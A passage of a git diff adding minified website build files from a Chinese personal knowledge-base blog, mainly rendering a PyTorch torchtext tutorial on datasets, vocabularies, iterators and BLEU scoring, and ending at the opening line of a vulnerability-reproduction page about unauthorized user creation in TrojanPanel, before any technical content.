3bb\u601d\u8003\u95ee\u9898\uff0c\u4e5f\u5e0c\u671b\u5404\u4f4d\u80fd\u6307\u51fa\u6587\u6863\u4e2d\u7684\u95ee\u9898\uff0c\u6211\u4eec\u4f1a\u4e0d\u65ad\u6539\u8fdb\u5185\u5bb9\uff0c\u7ed9\u5927\u5bb6\u5448\u73b0\u4e00\u4e2a\u66f4\u597d\u7684\u6559\u7a0b\u3002"})})]})}function a(e={}){const{wrapper:t}={...(0,h.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/0f2a20ea.37b1d673.js b/assets/js/0f2a20ea.37b1d673.js new file mode 100644 index 0000000..0335f97 --- /dev/null +++ b/assets/js/0f2a20ea.37b1d673.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9466],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>a});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function a(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},47329:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>a,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","title":"8.4 \u6587\u672c - torchtext.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"8.3 \u89c6\u9891 - PyTorchVideo.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo"},"next":{"title":"8.5 \u97f3\u9891 - torchaudio.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio"}}');var r=n(74848),l=n(28453);const i={},a="8.4 \u6587\u672c - torchtext.md",c={},d=[{value:"8.4.1 torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",id:"841-torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",level:2},{value:"8.4.2 torchtext\u7684\u5b89\u88c5",id:"842-torchtext\u7684\u5b89\u88c5",level:2},{value:"8.4.3 \u6784\u5efa\u6570\u636e\u96c6",id:"843-\u6784\u5efa\u6570\u636e\u96c6",level:2},{value:"8.4.4 \u8bc4\u6d4b\u6307\u6807\uff08metric\uff09",id:"844-\u8bc4\u6d4b\u6307\u6807metric",level:2},{value:"8.4.5 \u5176\u4ed6",id:"845-\u5176\u4ed6",level:2}];function o(e){const t={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"84-\u6587\u672c---torchtextmd",children:"8.4 \u6587\u672c - torchtext.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"84-torchtext\u7b80\u4ecb",children:"8.4 torchtext\u7b80\u4ecb"}),"\n",(0,r.jsx)(t.p,{children:"\u672c\u8282\u6211\u4eec\u6765\u4ecb\u7ecdPyTorch\u5b98\u65b9\u7528\u4e8e\u81ea\u7136\u8bed\u8a00\u5904\u7406\uff08NLP\uff09\u7684\u5de5\u5177\u5305torchtext\u3002\u81ea\u7136\u8bed\u8a00\u5904\u7406\u4e5f\u662f\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u5927\u5e94\u7528\u573a\u666f\uff0c\u8fd1\u5e74\u6765\u968f\u7740\u5927\u89c4\u6a21\u9884\u8bad\u7ec3\u6a21\u578b\u7684\u5e94\u7528\uff0c\u6df1\u5ea6\u5b66\u4e60\u5728\u4eba\u673a\u5bf9\u8bdd\u3001\u673a\u5668\u7ffb\u8bd1\u7b49\u9886\u57df\u7684\u53d6\u5f97\u4e86\u975e\u5e38\u597d\u7684\u6548\u679c\uff0c\u4e5f\u4f7f\u5f97NLP\u76f8\u5173\u7684\u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u83b7\u5f97\u4e86\u8d8a\u6765\u8d8a\u591a\u7684\u5173\u6ce8\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u7531\u4e8eNLP\u548cCV\u5728\u6570\u636e\u9884\u5904\u7406\u4e2d\u7684\u4e0d\u540c\uff0c\u56e0\u6b64NLP\u7684\u5de5\u5177\u5305torchtext\u548ctorchvision\u7b49CV\u76f8\u5173\u5de5\u5177\u5305\u4e5f\u6709\u4e00\u4e9b\u529f\u80fd\u4e0a\u7684\u5dee\u5f02\uff0c\u5982\uff1a"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u96c6\uff08dataset\uff09\u5b9a\u4e49\u65b9\u5f0f\u4e0d\u540c"}),"\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u9884\u5904\u7406\u5de5\u5177"}),"\n",(0,r.jsx)(t.li,{children:"\u6ca1\u6709\u7433\u7405\u6ee1\u76ee\u7684model zoo"}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["\u672c\u8282\u4ecb\u7ecd\u53c2\u8003\u4e86",(0,r.jsx)(t.a,{href:"https://github.com/atnlp/torchtext-summary",children:"atnlp\u7684Github"}),"\uff0c\u5728\u6b64\u81f4\u8c22\uff01"]}),"\n",(0,r.jsx)(t.h2,{id:"841-torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206",children:"8.4.1 torchtext\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206"}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u53ef\u4ee5\u65b9\u4fbf\u7684\u5bf9\u6587\u672c\u8fdb\u884c\u9884\u5904\u7406\uff0c\u4f8b\u5982\u622a\u65ad\u8865\u957f\u3001\u6784\u5efa\u8bcd\u8868\u7b49\u3002torchtext\u4e3b\u8981\u5305\u542b\u4e86\u4ee5\u4e0b\u7684\u4e3b\u8981\u7ec4\u6210\u90e8\u5206\uff1a"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u5904\u7406\u5de5\u5177 torchtext.data.functional\u3001torchtext.data.utils"}),"\n",(0,r.jsx)(t.li,{children:"\u6570\u636e\u96c6 torchtext.data.datasets"}),"\n",(0,r.jsx)(t.li,{children:"\u8bcd\u8868\u5de5\u5177 torchtext.vocab"}),"\n",(0,r.jsx)(t.li,{children:"\u8bc4\u6d4b\u6307\u6807 torchtext.metrics"}),"\n"]}),"\n",(0,r.jsx)(t.h2,{id:"842-torchtext\u7684\u5b89\u88c5",children:"8.4.2 torchtext\u7684\u5b89\u88c5"}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528pip\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-bash",children:"pip install torchtext\n"})}),"\n",(0,r.jsx)(t.h2,{id:"843-\u6784\u5efa\u6570\u636e\u96c6",children:"8.4.3 \u6784\u5efa\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"Field\u53ca\u5176\u4f7f\u7528"})}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["Field\u662ftorchtext\u4e2d\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\u4ee5\u53ca\u8f6c\u6362\u4e3a\u5f20\u91cf\u7684\u6307\u4ee4\u3002",(0,r.jsx)(t.code,{children:"torchtext"})," \u8ba4\u4e3a\u4e00\u4e2a\u6837\u672c\u662f\u7531\u591a\u4e2a\u5b57\u6bb5\uff08\u6587\u672c\u5b57\u6bb5\uff0c\u6807\u7b7e\u5b57\u6bb5\uff09\u7ec4\u6210\uff0c\u4e0d\u540c\u7684\u5b57\u6bb5\u53ef\u80fd\u4f1a\u6709\u4e0d\u540c\u7684\u5904\u7406\u65b9\u5f0f\uff0c\u6240\u4ee5\u624d\u4f1a\u6709 ",(0,r.jsx)(t.code,{children:"Field"})," \u62bd\u8c61\u3002\u5b9a\u4e49Field\u5bf9\u8c61\u662f\u4e3a\u4e86\u660e\u786e\u5982\u4f55\u5904\u7406\u4e0d\u540c\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4f46\u5177\u4f53\u7684\u5904\u7406\u5219\u662f\u5728Dataset\u4e2d\u5b8c\u6210\u7684\u3002\u4e0b\u9762\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u6765\u7b80\u8981\u8bf4\u660e\u4e00\u4e0bField\u7684\u4f7f\u7528\uff1a"]}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"tokenize = lambda x: x.split()\nTEXT = data.Field(sequential=True, tokenize=tokenize, lower=True, fix_length=200)\nLABEL = data.Field(sequential=False, use_vocab=False)\n"})}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tsequential\u8bbe\u7f6e\u6570\u636e\u662f\u5426\u662f\u987a\u5e8f\u8868\u793a\u7684\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\ttokenize\u7528\u4e8e\u8bbe\u7f6e\u5c06\u5b57\u7b26\u4e32\u6807\u8bb0\u4e3a\u987a\u5e8f\u5b9e\u4f8b\u7684\u51fd\u6570"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tlower\u8bbe\u7f6e\u662f\u5426\u5c06\u5b57\u7b26\u4e32\u5168\u90e8\u8f6c\u4e3a\u5c0f\u5199\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tfix_length\u8bbe\u7f6e\u6b64\u5b57\u6bb5\u6240\u6709\u5b9e\u4f8b\u90fd\u5c06\u586b\u5145\u5230\u4e00\u4e2a\u56fa\u5b9a\u7684\u957f\u5ea6\uff0c\u65b9\u4fbf\u540e\u7eed\u5904\u7406\uff1b"}),"\n",(0,r.jsx)(t.p,{children:"\u200b\tuse_vocab\u8bbe\u7f6e\u662f\u5426\u5f15\u5165Vocab object\uff0c\u5982\u679c\u4e3aFalse\uff0c\u5219\u9700\u8981\u4fdd\u8bc1\u4e4b\u540e\u8f93\u5165field\u4e2d\u7684data\u90fd\u662fnumerical\u7684"}),"\n",(0,r.jsx)(t.p,{children:"\u6784\u5efaField\u5b8c\u6210\u540e\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u6784\u5efadataset\u4e86\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext import data\ndef get_dataset(csv_data, text_field, label_field, test=False):\n fields = [(\"id\", None), # we won't be needing the id, so we pass in None as the field\n (\"comment_text\", text_field), (\"toxic\", label_field)] \n examples = []\n\n if test:\n # \u5982\u679c\u4e3a\u6d4b\u8bd5\u96c6\uff0c\u5219\u4e0d\u52a0\u8f7dlabel\n for text in tqdm(csv_data['comment_text']):\n examples.append(data.Example.fromlist([None, text, None], fields))\n else:\n for text, label in tqdm(zip(csv_data['comment_text'], csv_data['toxic'])):\n examples.append(data.Example.fromlist([None, text, label], fields))\n return examples, fields\n"})}),"\n",(0,r.jsx)(t.p,{children:'\u8fd9\u91cc\u4f7f\u7528\u6570\u636ecsv_data\u4e2d\u6709"comment_text"\u548c"toxic"\u4e24\u5217\uff0c\u5206\u522b\u5bf9\u5e94text\u548clabel\u3002'}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"train_data = pd.read_csv('train_toxic_comments.csv')\nvalid_data = pd.read_csv('valid_toxic_comments.csv')\ntest_data = pd.read_csv(\"test_toxic_comments.csv\")\nTEXT = data.Field(sequential=True, tokenize=tokenize, lower=True)\nLABEL = data.Field(sequential=False, use_vocab=False)\n\n# \u5f97\u5230\u6784\u5efaDataset\u6240\u9700\u7684examples\u548cfields\ntrain_examples, train_fields = get_dataset(train_data, TEXT, LABEL)\nvalid_examples, valid_fields = get_dataset(valid_data, TEXT, LABEL)\ntest_examples, test_fields = get_dataset(test_data, TEXT, None, test=True)\n# \u6784\u5efaDataset\u6570\u636e\u96c6\ntrain = data.Dataset(train_examples, train_fields)\nvalid = data.Dataset(valid_examples, valid_fields)\ntest = data.Dataset(test_examples, test_fields)\n"})}),"\n",(0,r.jsx)(t.p,{children:"\u53ef\u4ee5\u770b\u5230\uff0c\u5b9a\u4e49Field\u5bf9\u8c61\u5b8c\u6210\u540e\uff0c\u901a\u8fc7get_dataset\u51fd\u6570\u53ef\u4ee5\u8bfb\u5165\u6570\u636e\u7684\u6587\u672c\u548c\u6807\u7b7e\uff0c\u5c06\u4e8c\u8005\uff08examples\uff09\u8fde\u540cfield\u4e00\u8d77\u9001\u5230torchtext.data.Dataset\u7c7b\u4e2d\uff0c\u5373\u53ef\u5b8c\u6210\u6570\u636e\u96c6\u7684\u6784\u5efa\u3002\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u53ef\u4ee5\u770b\u4e0b\u8bfb\u5165\u7684\u6570\u636e\u60c5\u51b5\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"# \u68c0\u67e5keys\u662f\u5426\u6b63\u786e\nprint(train[0].__dict__.keys())\nprint(test[0].__dict__.keys())\n# \u62bd\u67e5\u5185\u5bb9\u662f\u5426\u6b63\u786e\nprint(train[0].comment_text)\n"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u8bcd\u6c47\u8868\uff08vocab\uff09"})}),"\n"]}),"\n",(0,r.jsx)(t.p,{children:"\u5728NLP\u4e2d\uff0c\u5c06\u5b57\u7b26\u4e32\u5f62\u5f0f\u7684\u8bcd\u8bed\uff08word\uff09\u8f6c\u53d8\u4e3a\u6570\u5b57\u5f62\u5f0f\u7684\u5411\u91cf\u8868\u793a\uff08embedding\uff09\u662f\u975e\u5e38\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u88ab\u79f0\u4e3aWord Embedding\u3002\u8fd9\u4e00\u6b65\u7684\u57fa\u672c\u601d\u60f3\u662f\u6536\u96c6\u4e00\u4e2a\u6bd4\u8f83\u5927\u7684\u8bed\u6599\u5e93\uff08\u5c3d\u91cf\u4e0e\u6240\u505a\u7684\u4efb\u52a1\u76f8\u5173\uff09\uff0c\u5728\u8bed\u6599\u5e93\u4e2d\u4f7f\u7528word2vec\u4e4b\u7c7b\u7684\u65b9\u6cd5\u6784\u5efa\u8bcd\u8bed\u5230\u5411\u91cf\uff08\u6216\u6570\u5b57\uff09\u7684\u6620\u5c04\u5173\u7cfb\uff0c\u4e4b\u540e\u5c06\u8fd9\u4e00\u6620\u5c04\u5173\u7cfb\u5e94\u7528\u4e8e\u5f53\u524d\u7684\u4efb\u52a1\uff0c\u5c06\u53e5\u5b50\u4e2d\u7684\u8bcd\u8bed\u8f6c\u4e3a\u5411\u91cf\u8868\u793a\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5728torchtext\u4e2d\u53ef\u4ee5\u4f7f\u7528Field\u81ea\u5e26\u7684build_vocab\u51fd\u6570\u5b8c\u6210\u8bcd\u6c47\u8868\u6784\u5efa\u3002"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"TEXT.build_vocab(train)\n"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u6570\u636e\u8fed\u4ee3\u5668"})}),"\n"]}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u5b9e\u5c31\u662ftorchtext\u4e2d\u7684DataLoader\uff0c\u770b\u4e0b\u4ee3\u7801\u5c31\u660e\u767d\u4e86\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext.data import Iterator, BucketIterator\n# \u82e5\u53ea\u9488\u5bf9\u8bad\u7ec3\u96c6\u6784\u9020\u8fed\u4ee3\u5668\n# train_iter = data.BucketIterator(dataset=train, batch_size=8, shuffle=True, sort_within_batch=False, repeat=False)\n\n# \u540c\u65f6\u5bf9\u8bad\u7ec3\u96c6\u548c\u9a8c\u8bc1\u96c6\u8fdb\u884c\u8fed\u4ee3\u5668\u7684\u6784\u5efa\ntrain_iter, val_iter = BucketIterator.splits(\n (train, valid), # \u6784\u5efa\u6570\u636e\u96c6\u6240\u9700\u7684\u6570\u636e\u96c6\n batch_sizes=(8, 8),\n device=-1, # \u5982\u679c\u4f7f\u7528gpu\uff0c\u6b64\u5904\u5c06-1\u66f4\u6362\u4e3aGPU\u7684\u7f16\u53f7\n sort_key=lambda x: len(x.comment_text), # the BucketIterator needs to be told what function it should use to group the data.\n sort_within_batch=False\n)\n\ntest_iter = Iterator(test, batch_size=8, device=-1, sort=False, sort_within_batch=False)\n"})}),"\n",(0,r.jsx)(t.p,{children:"torchtext\u652f\u6301\u53ea\u5bf9\u4e00\u4e2adataset\u548c\u540c\u65f6\u5bf9\u591a\u4e2adataset\u6784\u5efa\u6570\u636e\u8fed\u4ee3\u5668\u3002"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.strong,{children:"\u4f7f\u7528\u81ea\u5e26\u6570\u636e\u96c6"})}),"\n"]}),"\n",(0,r.jsxs)(t.p,{children:["\u4e0etorchvision\u7c7b\u4f3c\uff0ctorchtext\u4e5f\u63d0\u4f9b\u82e5\u5e72\u5e38\u7528\u7684\u6570\u636e\u96c6\u65b9\u4fbf\u5feb\u901f\u8fdb\u884c\u7b97\u6cd5\u6d4b\u8bd5\u3002\u53ef\u4ee5\u67e5\u770b",(0,r.jsx)(t.a,{href:"https://pytorch.org/text/stable/datasets.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u5bfb\u627e\u60f3\u8981\u4f7f\u7528\u7684\u6570\u636e\u96c6\u3002"]}),"\n",(0,r.jsx)(t.h2,{id:"844-\u8bc4\u6d4b\u6307\u6807metric",children:"8.4.4 \u8bc4\u6d4b\u6307\u6807\uff08metric\uff09"}),"\n",(0,r.jsx)(t.p,{children:"NLP\u4e2d\u90e8\u5206\u4efb\u52a1\u7684\u8bc4\u6d4b\u4e0d\u662f\u901a\u8fc7\u51c6\u786e\u7387\u7b49\u6307\u6807\u5b8c\u6210\u7684\uff0c\u6bd4\u5982\u673a\u5668\u7ffb\u8bd1\u4efb\u52a1\u5e38\u7528BLEU (bilingual evaluation understudy) score\u6765\u8bc4\u4ef7\u9884\u6d4b\u6587\u672c\u548c\u6807\u7b7e\u6587\u672c\u4e4b\u95f4\u7684\u76f8\u4f3c\u7a0b\u5ea6\u3002torchtext\u4e2d\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528torchtext.data.metrics.bleu_score\u6765\u5feb\u901f\u5b9e\u73b0BLEU\uff0c\u4e0b\u9762\u662f\u4e00\u4e2a\u5b98\u65b9\u6587\u6863\u4e2d\u7684\u4e00\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-python",children:"from torchtext.data.metrics import bleu_score\ncandidate_corpus = [['My', 'full', 'pytorch', 'test'], ['Another', 'Sentence']]\nreferences_corpus = [[['My', 'full', 'pytorch', 'test'], ['Completely', 'Different']], [['No', 'Match']]]\nbleu_score(candidate_corpus, references_corpus)\n"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{children:"0.8408964276313782\n"})}),"\n",(0,r.jsx)(t.h2,{id:"845-\u5176\u4ed6",children:"8.4.5 \u5176\u4ed6"}),"\n",(0,r.jsx)(t.p,{children:"\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8eNLP\u5e38\u7528\u7684\u7f51\u7edc\u7ed3\u6784\u6bd4\u8f83\u56fa\u5b9a\uff0ctorchtext\u5e76\u4e0d\u50cftorchvision\u90a3\u6837\u63d0\u4f9b\u4e00\u7cfb\u5217\u5e38\u7528\u7684\u7f51\u7edc\u7ed3\u6784\u3002\u6a21\u578b\u4e3b\u8981\u901a\u8fc7torch.nn\u4e2d\u7684\u6a21\u5757\u6765\u5b9e\u73b0\uff0c\u6bd4\u5982torch.nn.LSTM\u3001torch.nn.RNN\u7b49\u3002"}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u5907\u6ce8\uff1a"})}),"\n",(0,r.jsxs)(t.p,{children:["\u5bf9\u4e8e\u6587\u672c\u7814\u7a76\u800c\u8a00\uff0c\u5f53\u4e0bTransformer\u5df2\u7ecf\u6210\u4e3a\u4e86\u7edd\u5bf9\u7684\u4e3b\u6d41\uff0c\u56e0\u6b64PyTorch\u751f\u6001\u4e2d\u7684",(0,r.jsx)(t.a,{href:"https://huggingface.co/",children:"HuggingFace"}),"\u7b49\u5de5\u5177\u5305\u4e5f\u53d7\u5230\u4e86\u8d8a\u6765\u8d8a\u5e7f\u6cdb\u7684\u5173\u6ce8\u3002\u8fd9\u91cc\u5f3a\u70c8\u5efa\u8bae\u8bfb\u8005\u81ea\u884c\u63a2\u7d22\u76f8\u5173\u5185\u5bb9\uff0c\u53ef\u4ee5\u5199\u4e0b\u81ea\u5df1\u5bf9\u4e8eHuggingFace\u7684\u7b14\u8bb0\uff0c\u5982\u679c\u603b\u7ed3\u5168\u9762\u7684\u8bdd\u6b22\u8fcepull request\uff0c\u5145\u5b9e\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.strong,{children:"\u672c\u8282\u53c2\u8003"})}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://pytorch.org/text/stable/index.html",children:"torchtext\u5b98\u65b9\u6587\u6863"})}),"\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://github.com/atnlp/torchtext-summary",children:"atnlp/torchtext-summary"})}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/0f53d643.12c3e32d.js b/assets/js/0f53d643.12c3e32d.js new file mode 100644 index 0000000..1defde2 --- /dev/null +++ b/assets/js/0f53d643.12c3e32d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[140],{28453:(e,n,t)=>{t.d(n,{R:()=>s,x:()=>i});var o=t(96540);const a={},r=o.createContext(a);function s(e){const n=o.useContext(r);return o.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:s(e.components),o.createElement(r.Provider,{value:n},e.children)}},62515:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>i,default:()=>p,frontMatter:()=>s,metadata:()=>o,toc:()=>l});const o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel/01.TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/03.Trojanpanel/01.TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"privilege-escalation-1.6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6"},"next":{"title":"CVE-2023-33246","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246"}}');var a=t(74848),r=t(28453);const s={},i=void 0,c={},l=[];function d(e){const n={code:"code",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(n.table,{children:[(0,a.jsx)(n.thead,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(n.tbody,{children:(0,a.jsxs)(n.tr,{children:[(0,a.jsx)(n.td,{style:{textAlign:"left"},children:(0,a.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,a.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:48:04"})]})})]}),"\n",(0,a.jsx)(n.p,{children:"\u95f2\u6765\u65e0\u4e8b \u53d1\u73b0\u4e86 